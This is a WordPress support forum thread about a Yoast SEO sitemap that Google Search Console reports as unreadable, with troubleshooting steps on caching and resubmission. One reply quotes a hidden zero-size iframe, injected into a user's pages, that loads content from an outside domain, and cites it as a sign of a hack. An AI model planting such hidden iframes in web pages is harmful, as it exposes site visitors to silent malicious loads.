sitemap submission not fetching

Hi,

We would like some more information.

1. Can you confirm you are using the most recent Yoast SEO, v9.5?

2. Are all your non-Yoast plugins and themes also updated?

3. Can you provide a link to the site in question?

I think I have seen the same on https://nutruehealth.com/ Google Search Console says Sitemap can be read, but has errors, Unsupported file format. Using 9.5, all up to date.

@one3rdnerd I see weird code before each page:

<iframe style='opacity: 0;visibility: hidden;border: 0;outline: 0;width: 0;height: 0;' src='https://testtestestestst.info/q8qzXm'></iframe>

It’s possible that your website is hacked. You can see it when you open page source of any page. Also, it could break many things (sitemaps, redirects, login, … ).

Hi,

I can see your sitemap rendering here: https://nutruehealth.com/sitemap_index.xml. See image: https://pasteboard.co/I0P4Mbb.png

As the sitemap is being outputted correctly I can only suggest the following two actions:

1. Clear all your caching from your theme, plugin, server, CDN like CloudFlare or browser. If you are not sure how to clear caching from theme/plugin please speak to those authors. If you want to clear cache from the server, please speak to your host provider. To clear the cache from a browser use this guide: https://kb.yoast.com/kb/how-to-clear-my-browsers-cache/.

2. Delete your sitemap_index.xml file from your Google Search Console. Doing so will not hurt the SEO of your site.

3. Add the sitemap using this guide: https://kb.yoast.com/kb/submit-sitemap-search-engines/ and see if the issue resolves.

• This reply was modified 6 years, 1 month ago by Pcosta88.

So after checking and stumping my host and seo experts..after about a week it just submitted fine. Odd